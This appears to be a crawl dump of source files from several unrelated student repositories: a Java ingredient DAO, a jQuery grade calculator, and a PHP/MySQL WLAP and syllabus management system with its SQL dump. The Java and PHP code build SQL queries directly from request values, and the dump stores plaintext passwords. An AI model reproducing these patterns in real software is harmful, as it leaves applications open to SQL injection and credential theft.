executor.execUpdate(String.format("insert into INGREDIENT_TABLE (id, name, price) values ('%s', '%s', %d)", ingredient.getId(), ingredient.getName(), ingredient.getPrice())); } public Ingredient get(String id) throws SQLException { return executor.execQuery(String.format("select * from INGREDIENT_TABLE where id='%s'", id), result -> { try { result.next(); return new Ingredient( result.getString("id"), result.getString("name"), result.getInt("price") ); } catch (SQLException e){ return null; } }); } public Ingredient[] getAll() throws SQLException { return executor.execQuery("select * from INGREDIENT_TABLE", result -> { var list = new LinkedList<Ingredient>(); while (result.next()) { list.add(new Ingredient( result.getString("id"), result.getString("name"), result.getInt("price") )); } return list.toArray(new Ingredient[0]); }); } public void update(Ingredient ingredient) throws SQLException { executor.execUpdate(String.format("update INGREDIENT_TABLE set price=%d, name='%s' where id='%s'", ingredient.getPrice(), ingredient.getName(), ingredient.getId())); } public void delete(String id) throws SQLException { executor.execUpdate(String.format("delete from INGREDIENT_TABLE where id='%s'", id)); } }
2a1360fa60a68f4eb3ad29f75918f9f5b2bb135f
[ "Java", "Dockerfile", "INI" ]
15
Java
ViktoryaInn/pizzeriataskmain
ba73c0b282b7d28c0e70ed02625690f5ec0c426d
7a2275a1cef4e23d7b621ab56f0b144d2733ed43
refs/heads/master
<file_sep>function w(id){ return parseFloat($('#' + id).next().children().text()); } $(document).ready(() => { $('input').val(''); $('.score').change(() => { var sum = 0; var all = 0; var add4 = ['c','e','m']; var add2 = ['p','ch','b','es','s','g','h','s']; var add1 = ['a']; $('.score').each((index, element) => { let s = parseInt($(element).val()); let id = $(element).attr('id'); //alert(id); if(!isNaN(s)){ sum += w(id) * s; all += w(id) * 100; } }); $('#sum').val(sum); $('#all').val(all); $('#avr').val(sum/(all/100)); }); $('.score').keydown(function(event){ if(event.which == 13){ let that = $(event.target); if(that.attr('id') != 'l'){ that.parent().next().children().get(1).focus(); }else{ $('#c').focus(); } } }); });
fc3eb375c1e6d252913c3ee3e1e906ab249511f6
[ "JavaScript" ]
1
JavaScript
simba-fs/simba
74a326579d3557109248c961745ddc7896682630
50e4c63647783b666837f729e0c4b08aae23cba5
refs/heads/master
<repo_name>iubantot/WLAP<file_sep>/submituser.php <?php require 'session.php'; require 'database.php'; if(isset($_POST['remarks'])){ $remarks = $_POST['textremarks']; $fileid = $_GET['fileid']; date_default_timezone_set('asia/manila'); $date=date('d-m-Y'); $time = date("h:i"); $time1 = date('h:i A', strtotime($time)); $date1 = date('F d Y', strtotime($date)); $courseorder = $_GET['courseorder']; if($remarks != ""){ $sql = "INSERT INTO remarks (Remarks,Date_Added,Time_Added,FileID,UserID) VALUES ('$remarks', '$date1', '$time1', '$fileid','$IuserID')"; $query = mysqli_query($conn,$sql); if($query){ echo "<script> alert('Noted!'); window.location.href='facWLAPcourses.php?id=$courseorder'; </script>"; } else { echo "Error :" .$sql. "<br>".mysqli_error($conn); } } else{ echo "<script> alert('please fill-out all fields!'); window.location.href='facWLAPcourses.php?id=$courseorder'; </script>"; } } else if(isset($_POST['remarksother'])){ $remarks = $_POST['textremarks']; $fileid = $_GET['fileid']; date_default_timezone_set('asia/manila'); $date=date('d-m-Y'); $time = date("h:i"); $time1 = date('h:i A', strtotime($time)); $date1 = date('F d Y', strtotime($date)); $courseorder = $_GET['courseorder']; if($remarks != ""){ $sql = "INSERT INTO remarks (Remarks,Date_Added,Time_Added,FileID,UserID) VALUES ('$remarks', '$date1', '$time1', '$fileid','$IuserID')"; $query = mysqli_query($conn,$sql); if($query){ echo "<script> alert('Noted!'); window.location.href='facWLAPothercourses.php?id=$courseorder'; </script>"; } else { echo "Error :" .$sql. "<br>".mysqli_error($conn); } } else{ echo "<script> alert('please fill-out all fields!'); window.location.href='facWLAPothercourses.php?id=$courseorder'; </script>"; } } mysqli_close($conn); ?> <file_sep>/adminWLAPothercourses.php <?php require("database.php"); require("sessionadmin.php"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>WLAP and Syllabus Management System</title> <!-- Styles --> <style> body { background:none !important; background-color: #fff !important; } .container-pdf * > .modal-body{ width:100%; height: calc(100vh - 125px); } .pdfobject-container{ width:100%; height: calc(100vh - 155px); } .btnPos { padding-left: 100px; padding-right: 100px; padding-bottom: 20px; text-align:center; } .inputFile { position: absolute; opacity: 0; } </style> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/style.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="font-awesome-4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> </head> <body> <div id="wrapper"> <!-- Navigation --> <nav class="navbar navbar-default navbar-fixed-top" role="navigation" style="margin-bottom: 0"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#"><img src="img/logo.png" style="margin-top:-12px;"></a> </div> <!-- /.navbar-header --> <ul class="nav navbar-nav navbar-right" style="margin-right:25px;"> <li><a href="#"><i class="fa fa-user-circle-o fa-fw"></i>&nbsp;<?php echo $vFirstName; ?> <?php echo $vMiddleName; ?>. <?php echo $vLastName; ?></a></li> </ul> <div class="navbar-default sidebar" role="navigation"> <div class="sidebar-nav navbar-collapse text-center"> <ul class="nav" id="side-menu"> <li> <a href="adminHome.php"><i class="fa fa-3x fa-home fa-fw"></i><br>Home</a> </li> <li> <a href="adminWLAP.php"><i class="fa fa-3x fa-calendar-o fa-fw"></i><br>WLAP</a> </li> <li> <a href="adminSyllabus.php"><i class="fa fa-3x fa-file-text-o fa-fw"></i><br>Syllabus</a> </li> <li> <a href="adminFacultyMgmt.php"><i class="fa fa-3x fa-id-card-o fa-fw"></i><br>Faculty</a> </li> <li> <a href="adminlogout.php"><i class="fa fa-3x fa-sign-out fa-fw"></i><br>Logout</a> </li> </ul> </div> <!-- /.sidebar-collapse --> </div> <!-- /.navbar-static-side --> </nav> <div id="page-wrapper"> <div class="row"> <div class="col-lg-12"> <h2 class="page-header">WLAP</h1> </div> <!-- /.col-lg-12 --> </div> <div class="row"> <div class="col-lg-7"> <div class="panel panel-green"> <div class="panel-heading"> <i class="fa fa-search fa-fw"></i>&nbsp; Search WLAP </div> <!-- /.panel-heading --> <div class="panel-body"> <!-- Nav tabs --> <ul class="nav nav-tabs nav-justified"> <li ><a href="#mycourses" data-toggle="tab">My Courses</a> </li> <li class="active"><a href="#other" data-toggle="tab">Other Courses</a> </li> </ul> <!-- Tab panes --> <div class="tab-content"><br> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct c.CourseOrder,c.CourseName,s.CourseCode from schedule s INNER JOIN course c ON c.CourseCode = s.CourseCode WHERE s.userID = '".$IuserID."' ORDER by c.CourseName "; $result1 = mysqli_query($conn,$sql); ?> <div class="tab-pane fade " id="mycourses"> <table class="table table-scroll table-striped"> <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Action</th> </tr> </thead> <tbody style="width:80%; height:50%;"> <?php while ($course = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $course->CourseCode;?></td> <td id="desc"><?php echo $course->CourseName;?></td> <td><a href="adminWLAPcourses.php?id=<?php echo $course->CourseOrder;?>">View list</a></td> </tr> <?php } ?> </tbody> </table> </div> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct T.CourseOrder,T.CourseName,T.CourseCode,T.UserID from (Select distinct c.CourseOrder,c.CourseName,c.CourseCode,s.UserID from schedule s RIGHT JOIN course c ON c.CourseCode = s.CourseCode )AS T WHERE T.UserID !='".$IuserID."' or T.UserID is NULL ORDER by CourseName"; $result1 = mysqli_query($conn,$sql); ?> <div class="tab-pane fade in active" id="other"> <?php $t=date('d-m-Y'); $p=date("D",strtotime($t)); require ("database.php"); $sql="Select distinct T.CourseCode from (Select distinct c.CourseOrder,c.CourseName,c.CourseCode,s.UserID from schedule s RIGHT JOIN course c ON c.CourseCode = s.CourseCode )AS T WHERE T.UserID !='".$IuserID."' or T.UserID is NULL ORDER by CourseName"; $result2 = mysqli_query($conn,$sql); ?> <form> &nbsp; &nbsp; &nbsp; Find course code: &nbsp; <select name="users" onchange="showUser(this.value)"> <?php while ($othercourses = mysqli_fetch_object($result2)){?> <option value="<?php echo $othercourses->CourseCode;?>"><?php echo $othercourses->CourseCode;?></option> <?php } ?> </select> </form> <br> <div class="panel-body" id="txtHint"> <table class="table table-scroll table-striped"> <thead> <tr> <th>Course Code</th> <th>Descriptive Title</th> <th>Action</th> </tr> </thead> <tbody style="width:80%; height:50%;"> <?php while ($othercourses = mysqli_fetch_object($result1)){?> <tr> <td id="code"><?php echo $othercourses->CourseCode;?></td> <td id="desc"><?php echo $othercourses->CourseName;?></td> <td><a href="adminWLAPothercourses.php?id=<?php echo $othercourses->CourseOrder;?>">View list</a></td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-6 --> <div class="col-lg-4"> <!-- WLAP List of My Courses --> <?php $courseorder=$_GET['id']; require ("database.php"); $sql="Select CourseCode from course WHERE CourseOrder = '".$courseorder."'"; $result1 = mysqli_query($conn,$sql); $sql="Select file.FileName, file.CourseCode, file.Week_num_for_WLAP from file INNER JOIN course ON file.CourseCode=course.CourseCode WHERE CourseOrder = '".$courseorder."' AND file.FileClass='WLAP'"; $result5 = mysqli_query($conn,$sql); ?> <div class="panel panel-green" id="WLAPList"> <?php while ($course = mysqli_fetch_object($result1)){?> <div class="panel-heading" id="code"> <?php echo $course->CourseCode;?> WLAP List </div> <?php } ?> <!-- /.panel-heading --> <div class="panel-body" style="overflow-y:auto; height:415px;"> <div class="list-group"> <?php while ($weeks = mysqli_fetch_object($result5)){ ?> <span href="#" class="list-group-item"> <a data-toggle="modal" data-target="#modal_viewWLAP<?php echo $weeks->Week_num_for_WLAP;?>" id="week">Week <?php echo $weeks->Week_num_for_WLAP;?></a> <a class="btn dropdown-toggle" type="button" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true"> <i class="fa fa-cog fa-fw"></i><i class="fa fa-caret-down fa-fw"></i> </a> <ul class="dropdown-menu"> <li><a href="DownloadFileAdminWLAP.php?down=<?php echo $weeks->FileName;?>.pdf" id="down"><i class="fa fa-download fa-fw"></i>Download</a></li> <li><a data-toggle="modal" data-target="#modal_upload<?php echo $weeks->FileName;?>" id="up"><i class="fa fa-upload fa-fw"></i>Upload Revision</a></li> <li><a data-toggle="modal" data-target="#modal_remarks<?php echo $weeks->Week_num_for_WLAP;?>" id="rem"><i class="fa fa-pencil-square-o fa-fw"></i>Add Remarks</a></li> </ul> </span> <?php } ?> </div> </div> <!-- /.panel-body --> </div> <!-- /.panel --> <!-- WLAP List of Other Courses --> <div class="panel panel-green" style="display:none;" id="WLAPList2"> <div class="panel-heading" id="code"> CPE 501 WLAP List </div> <!-- /.panel-heading --> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-4 --> </div> <!-- /.row --> <?php $courseorder=$_GET['id']; require ("database.php"); $sql="Select file.CourseCode, file.Week_num_for_WLAP from file INNER JOIN course ON file.CourseCode=course.CourseCode WHERE CourseOrder = '".$courseorder."' AND file.FileClass='WLAP'"; $result2 = mysqli_query($conn,$sql); ?> <!-- Popup for remarks --> <div class="container-pdf"> <?php while ($course = mysqli_fetch_object($result2)){?> <div class="modal fade" id="modal_viewWLAP<?php echo $course->Week_num_for_WLAP;?>" role="dialog"> <div class="modal-dialog modal-lg"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title"><?php echo $course->CourseCode ?> - Week <?php echo $course->Week_num_for_WLAP;?></h4> </div> <div class="modal-body"> <div id="pdf-container<?php echo $course->Week_num_for_WLAP;?>"></div> </div> </div> </div> </div> <?php }?> </div> <!-- /#Popup window --> <?php $courseorder=$_GET['id']; require ("database.php"); $sql="Select file.FileName ,file.FileID, course.CourseOrder ,file.CourseCode, file.Week_num_for_WLAP from file INNER JOIN course ON file.CourseCode=course.CourseCode WHERE CourseOrder = '".$courseorder."' AND file.FileClass='WLAP' AND file.Status = 'Approved'"; $result2 = mysqli_query($conn,$sql); ?> <!-- Popup view of WLAP --> <?php while ($course = mysqli_fetch_object($result2)){?> <div class="modal fade" id="modal_remarks<?php echo $course->Week_num_for_WLAP;?>" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title"><?php echo $course->CourseCode; ?>- Week <?php echo $course->Week_num_for_WLAP;?> Remarks</h4> </div> <form action ="submitprof.php?fileid=<?php echo $course->FileID; ?>&courseorder=<?php echo $course->CourseOrder; ?>" method="post" class="form" role="form"> <div class="modal-body" style="height: 350px;"><br> <div class="form-group"> Add remarks here: <textarea name="textremarks" class="form-control" rows="6" id="comment"></textarea> </div> <span class="pull-right" style="margin-top:-20px;"> <button type="Submit" class="btn btn-sub" name="remarksother"><b>Submit</b></button> </span> <?php date_default_timezone_set('asia/manila'); $date=date('d-m-Y'); $time = date("h:i"); ?> <span class="pull-left text-muted small" style="display:block;"> Added on <?php echo date('h:i A', strtotime($time))?> | <?php echo date('F d Y', strtotime($date));?> </span> </div> </form> <!-- /#modal-body --> </div> <!-- /#modal-content --> </div> </div> <?php }?> <!-- /#Popup window --> <!-- Footer --> <footer class="text-center"> <div class="footer-below"> <div class="container"> <div class="row"> <div class="col-lg-12" style="color:#666666;"> Copyright &copy; WLAP and Syllabus Management System 2017 </div> </div> </div> </div> </footer> <?php $courseorder=$_GET['id']; require ("database.php"); $sql="Select file.FileName, file.CourseCode, file.Week_num_for_WLAP from file INNER JOIN course ON file.CourseCode=course.CourseCode WHERE CourseOrder = '".$courseorder."' AND file.FileClass='WLAP'"; $result5 = mysqli_query($conn,$sql); ?> <!-- Popup view of Upload --> <?php while($file = mysqli_fetch_object($result5)){ ?> <div class="modal fade" id="modal_upload<?php echo $file->FileName;?>" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">&times;</button> <h4 class="modal-title"><?php echo $file->CourseCode; ?>- Upload File</h4> </div> <div class="modal-body" style="height: 350px;"><br> <form action="UploadFileProcAdminWLAP.php?id=<?php echo $file->FileName;?>&week=<?php echo $file->Week_num_for_WLAP;?>&coursecode=<?php echo $file->CourseCode;?> " method="post" enctype="multipart/form-data"> <h3>Upload a revision of file</h3> <div class="btnPos"> <label class="btn btn-sub"> <span id="input-value">Choose file</span> <input type="file" name="fileUpload" class="inputFile" id="inFile"/> </label> </div> <span class="pull-right" style="margin-top:-20px;"> <button type="submit" name="submitbtn" class="btn btn-sub">Upload</button> </span> </form> <script> document.getElementById('inFile').addEventListener('change', function(){ myFunction(); }); function myFunction(){ var inputVal = document.getElementById('inFile').value; document.getElementById('input-value').innerHTML=inputVal.substr(12); } </script> <p>The format of the file should be pdf.</p> <p>The file will be renamed as <?php echo $file->FileName;?>.pdf</p> <?php date_default_timezone_set('asia/manila'); $date=date('d-m-Y'); $time = date("h:i"); ?> <span class="pull-left text-muted small" style="display:block;"> Added on <?php echo date('h:i A', strtotime($time))?> | <?php echo date('F d Y', strtotime($date));?> </span> </div> <!-- /#modal-body --> </div> <!-- /#modal-content --> </div> </div> <?php } ?> <!-- /#Popup window --> </div> <!--/#page-wrapper --> </div> <!-- /#wrapper --> <!-- jQuery --> <script src="js/jquery.min.js"></script> <!-- Bootstrap Core JavaScript --> <script src="js/bootstrap.min.js"></script> <!-- Metis Menu Plugin JavaScript --> <script src="js/metisMenu.min.js"></script> <!-- Custom Theme JavaScript --> <script src="js/sb-admin-2.js"></script> <!-- PDFObject JavaScript --> <script src="js/pdfobject.min.js"></script> <script src="js/customJS.js"></script> <?php $courseorder=$_GET['id']; require ("database.php"); $sql="Select FileName, Week_num_for_WLAP from file INNER JOIN course ON file.CourseCode=course.CourseCode WHERE course.CourseOrder = '".$courseorder."' AND file.FileClass='WLAP' AND file.Status = 'Approved'"; $result3 = mysqli_query($conn,$sql); ?> <script> <?php while ($pdf = mysqli_fetch_object($result3)){?> PDFObject.embed(<?php echo "\"pdf/WLAP/"; echo $pdf->FileName ; echo ".pdf\"";?>, "#pdf-container<?php echo $pdf->Week_num_for_WLAP;?>"); <?php }?> </script> <script> function showUser(str) { if (str == "") { document.getElementById("txtHint").innerHTML = ""; return; } else { if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("txtHint").innerHTML = this.responseText; } }; xmlhttp.open("GET","getcourse.php?q="+str,true); xmlhttp.send(); } } </script> </body> </html> <file_sep>/sylapnew2.sql -- phpMyAdmin SQL Dump -- version 4.6.5.2 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Mar 06, 2017 at 01:56 PM -- Server version: 10.1.21-MariaDB -- PHP Version: 5.6.30 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `sylap` -- -- -------------------------------------------------------- -- -- Table structure for table `course` -- CREATE TABLE `course` ( `CourseCode` varchar(45) NOT NULL, `CourseOrder` int(11) NOT NULL, `CourseName` varchar(145) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `course` -- INSERT INTO `course` (`CourseCode`, `CourseOrder`, `CourseName`) VALUES ('CE001', 1, 'Statics of Rigid Bodies'), ('CE002', 2, 'Dynamics of Rigid Bodies'), ('CE003A', 3, 'Mechanics of Deformable Bodies'), ('CHEM002', 4, 'Environmental Engineering'), ('COE001', 5, 'Engineering Orientation'), ('COE002A', 6, 'Introduction to Intellectual Property'), ('CPE 411', 29, 'System Analysis Design'), ('CPE001', 7, 'Computer Fundamentals'), ('CPE003', 8, 'Computer-Aided Drafting'), ('CPE004', 9, 'Logic Circuits and Switching Theory'), ('CPE005', 10, 'Computer System Organization with Assembly Language'), ('CPE006', 11, 'Microprocessor Systems'), ('CPE131', 12, 'Principles of Embedded Systems'), ('CPE132', 13, 'Systems Architecture for Embedded Systems'), ('CPE143', 14, 'Design of Embedded Systems'), ('CPE201', 15, 'Computer Systems Administration and Troubleshooting'), ('CPE231', 16, 'Systems Administration Fundamentals'), ('CPE232', 17, 'Manage Enterprise Servers'), ('CPE243', 18, 'Enterprise Security'), ('CPE301', 19, 'Database Management Systems 1'), ('CPE302', 20, 'Computer Networks 1'), ('CPE303', 21, 'Database Management Systems 2'), ('CPE304', 22, 'Computer Engineering Drafting and Design'), ('CPE331', 23, 'Principles of Robotics'), ('CPE332', 24, 'Programming Robots'), ('CPE343', 25, 'Robot Design'), ('CPE401', 26, 'Computer Networks 2'), ('CPE402', 27, 'Advanced Logic Circuits'), ('CPE404', 28, 'Computer Networks 3'), ('CPE412L1', 60, 'Embedded Systems 2'), ('CPE500', 30, 'On-the-Job Training'), ('CPE501', 31, 'Computer Network Design'), ('CPE502', 32, 'Plant Visits and Seminars for CPE'), ('CPE503', 33, 'Design Project 1'), ('CPE504', 34, 'Computer Systems Architecture'), ('CPE505', 35, 'Engineering Ethics and Computer Laws'), ('CPE506', 36, 'Software Engineering'), ('CPE507', 37, 'Operating Systems'), ('CPE508', 38, 'Design Project 2'), ('CS100A', 39, 'Fundamentals of Programming and Algorithm'), ('CS201A', 40, 'Data Structures and Algorithms Analysis'), ('ECE001', 41, 'Electronics Devices and Circuits'), ('ECE004', 42, 'Principles of Communications'), ('ECE006', 43, 'Feedback and Control Systems'), ('ECE401', 44, 'Signals, Spectra, Signal Processing'), ('ECE402', 45, 'Electronic Circuit Analysis and Design'), ('ECE504A', 46, 'Data Communications'), ('EE002', 47, 'Electrical Circuits 1'), ('EE003', 48, 'Electrical Circuits 2'), ('HUM003', 49, 'Ethics'), ('IE 004', 52, 'Engineering Entrepreneurship'), ('IE001', 50, 'Engineering Management'), ('IE002', 51, 'Safety Management'), ('ITE003A', 53, 'Object-Oriented Programming'), ('MATH010', 54, 'Differential Equations'), ('MATH011', 55, 'Advanced Engineering Mathematics'), ('ME005', 56, 'Engineering Economy'), ('PHYS002', 57, 'Calculus-Based Physics 2'), ('SOCSC004', 58, 'General Psychology'), ('SOCSC005', 59, 'Life and Works of Rizal'); -- -------------------------------------------------------- -- -- Table structure for table `file` -- CREATE TABLE `file` ( `FileID` int(11) NOT NULL, `FileType` varchar(50) NOT NULL, `FileName` varchar(50) NOT NULL, `FileSize` int(10) NOT NULL, `FileClass` varchar(45) NOT NULL, `DateUpload` date NOT NULL, `TimeUpload` varchar(45) NOT NULL, `Week_num_for_WLAP` int(10) NOT NULL, `Status` varchar(15) NOT NULL, `CourseCode` varchar(11) NOT NULL, `UserID` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `file` -- INSERT INTO `file` (`FileID`, `FileType`, `FileName`, `FileSize`, `FileClass`, `DateUpload`, `TimeUpload`, `Week_num_for_WLAP`, `Status`, `CourseCode`, `UserID`) VALUES (1, 'pdf', 'CPE 232 Syllabus', 16, 'Syllabus', '2017-02-01', '10:06am', 0, 'Approved', 'CPE232', 1), (2, 'pdf', 'CPE 501 Syllabus', 16, 'Syllabus', '2017-01-26', '07:00pm', 0, 'Approved', 'CPE501', 1), (3, 'pdf', 'CPE 401 Syllabus', 16, 'Syllabus', '2017-02-04', '08:30pm', 0, 'Approved', 'CPE401', 1), (4, 'pdf', 'Week 1', 16, 'WLAP', '2017-02-12', '12:06 PM', 1, 'Rejected', 'PHYS002', 1), (5, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK1', 16, 'WLAP', '2017-03-04', '9:00am', 1, 'Approved', 'CPE132', 1), (6, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK2', 16, 'WLAP', '2017-03-04', '9:00AM', 2, 'Approved', 'CPE132', 1), (7, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK3', 16, 'WLAP', '2017-03-04', '9:00AM', 3, 'Approved', 'CPE132', 1), (8, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK4', 16, 'WLAP', '2017-03-04', '9:00AM', 4, 'Approved', 'CPE132', 1), (10, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK5', 16, 'WLAP', '2017-03-04', '9:00AM', 5, 'Approved', 'CPE132', 1), (11, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK6', 16, 'WLAP', '2017-03-04', '9:00AM', 6, 'Approved', 'CPE132', 1), (14, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK7', 16, 'WLAP', '2017-03-04', '9:00AM', 7, 'Approved', 'CPE132', 1), (15, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK8', 16, 'WLAP', '2017-03-04', '9:00AM', 8, 'Approved', 'CPE132', 1), (16, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK9', 16, 'WLAP', '2017-03-04', '9:00AM', 9, 'Approved', 'CPE132', 1), (17, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK10', 16, 'WLAP', '2017-03-04', '9:00AM', 10, 'Approved', 'CPE132', 1), (18, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK11', 16, 'WLAP', '2017-03-04', '9:00AM', 11, 'Approved', 'CPE132', 1), (19, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK12', 16, 'WLAP', '2017-03-04', '9:00AM', 12, 'Approved', 'CPE132', 1), (20, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK13', 16, 'WLAP', '2017-03-04', '9:00AM', 13, 'Approved', 'CPE132', 1), (21, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK14', 16, 'WLAP', '2017-03-04', '9:00AM', 14, 'Approved', 'CPE132', 1), (22, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK15', 16, 'WLAP', '2017-03-04', '9:00AM', 15, 'Approved', 'CPE132', 1), (23, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK16', 16, 'WLAP', '2017-03-04', '9:00AM', 16, 'Approved', 'CPE132', 1), (24, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK17', 16, 'WLAP', '2017-03-04', '9:00AM', 17, 'Approved', 'CPE132', 1), (25, 'pdf', 'CPE-132-Architecture-of-Embedded-Systems-WK18', 16, 'WLAP', '2017-03-04', '9:00AM', 18, 'Approved', 'CPE132', 1), (26, 'pdf', 'CPE 132 Syllabus', 16, 'Syllabus', '2017-03-06', '9:00AM', 0, 'Approved', 'CPE132', 1), (27, 'pdf', 'MATH 011 Syllabus', 16, 'Syllabus', '2017-03-06', '9:00AM', 0, 'Approved', 'MATH011', 1); -- -------------------------------------------------------- -- -- Table structure for table `pictures` -- CREATE TABLE `pictures` ( `imageID` int(11) NOT NULL, `imageName` varchar(100) NOT NULL, `userID` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `remarks` -- CREATE TABLE `remarks` ( `RemarkID` int(11) NOT NULL, `Remarks` text NOT NULL, `Date_Added` varchar(45) NOT NULL, `Time_Added` varchar(45) NOT NULL, `FileID` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `schedule` -- CREATE TABLE `schedule` ( `ScheduleID` int(11) NOT NULL, `ScheduleDay` varchar(45) NOT NULL, `ScheduleTimeIN` varchar(10) NOT NULL, `ScheduleTimeOUT` varchar(10) NOT NULL, `Section` varchar(9) NOT NULL, `Room` varchar(7) NOT NULL, `CourseCode` varchar(11) NOT NULL, `UserID` int(50) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `schedule` -- INSERT INTO `schedule` (`ScheduleID`, `ScheduleDay`, `ScheduleTimeIN`, `ScheduleTimeOUT`, `Section`, `Room`, `CourseCode`, `UserID`) VALUES (1, 'Wednesday', '1:30 pm', '3:30 pm', 'CPE42FC1', 'Q-5202', 'CPE232', 1), (2, 'Thursday', '4:30 pm', '7:30 pm', 'CPE42FC1', 'Q-5202', 'CPE232', 1), (3, 'Tuesday', '4:30 pm', '6:30 pm', 'CPE51FC1', 'Q-5204', 'CPE501', 1), (4, 'Friday', '1:30 pm', '4:30 pm', 'CPE51FC1', 'Q-5204', 'CPE501', 2), (5, 'Saturday', '1:30PM', '4:30PM', 'CPE42FC1', 'Q-5203', 'CPE132', 1), (6, 'Saturday', '1:30PM', '4:30PM', 'CPE42FC1', 'Q-5203', 'CPE132', 1); -- -------------------------------------------------------- -- -- Table structure for table `type_of_user` -- CREATE TABLE `type_of_user` ( `TypeofUserNum` int(11) NOT NULL, `TypeofUser` varchar(50) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `type_of_user` -- INSERT INTO `type_of_user` (`TypeofUserNum`, `TypeofUser`) VALUES (1, 'Faculty Instructor/Professor'), (2, 'Department Chairman'); -- -------------------------------------------------------- -- -- Table structure for table `uploads` -- CREATE TABLE `uploads` ( `imageID` int(11) NOT NULL, `imagename` varchar(100) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `uploads` -- INSERT INTO `uploads` (`imageID`, `imagename`) VALUES (1, 'upload_pic/thumbnail_1485669827.jpg'), (2, 'upload_pic/thumbnail_1485669846.jpg'), (3, 'upload_pic/thumbnail_1485829994.jpg'), (4, 'upload_pic/thumbnail_1485831187.jpg'), (5, 'upload_pic/thumbnail_1485831200.jpg'), (6, 'upload_pic/thumbnail_1486812437.jpg'), (7, 'upload_pic/thumbnail_1486812546.jpg'), (8, 'upload_pic/thumbnail_1486812563.jpg'), (9, 'upload_pic/thumbnail_1487763609.jpg'), (10, 'upload_pic/thumbnail_1488211215.jpg'); -- -------------------------------------------------------- -- -- Table structure for table `user` -- CREATE TABLE `user` ( `UserID` int(11) NOT NULL, `LastName` varchar(50) NOT NULL, `FirstName` varchar(50) NOT NULL, `MiddleName` varchar(50) NOT NULL, `ContactNum` varchar(12) NOT NULL, `Email` varchar(50) NOT NULL, `ImageName` varchar(100) NOT NULL, `Username` varchar(50) NOT NULL, `Password` varchar(50) NOT NULL, `TypeofUserNum` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `user` -- INSERT INTO `user` (`UserID`, `LastName`, `FirstName`, `MiddleName`, `ContactNum`, `Email`, `ImageName`, `Username`, `Password`, `TypeofUserNum`) VALUES (1, 'Hular', '<NAME>', 'Tan', '<PASSWORD>', '<EMAIL>', 'upload_pic/thumbnail_1488211639.jpg', 'ljthular', 'hular', 1), (2, 'Venal', 'Ma.Cecilia', 'A', '09217189010', '<EMAIL>', '', 'mcvenal', 'venal', 2), (3, 'Alzona', '<NAME>', 'O', '09061690218', '<EMAIL>', 'upload_pic/thumbnail_1488212295.jpg', 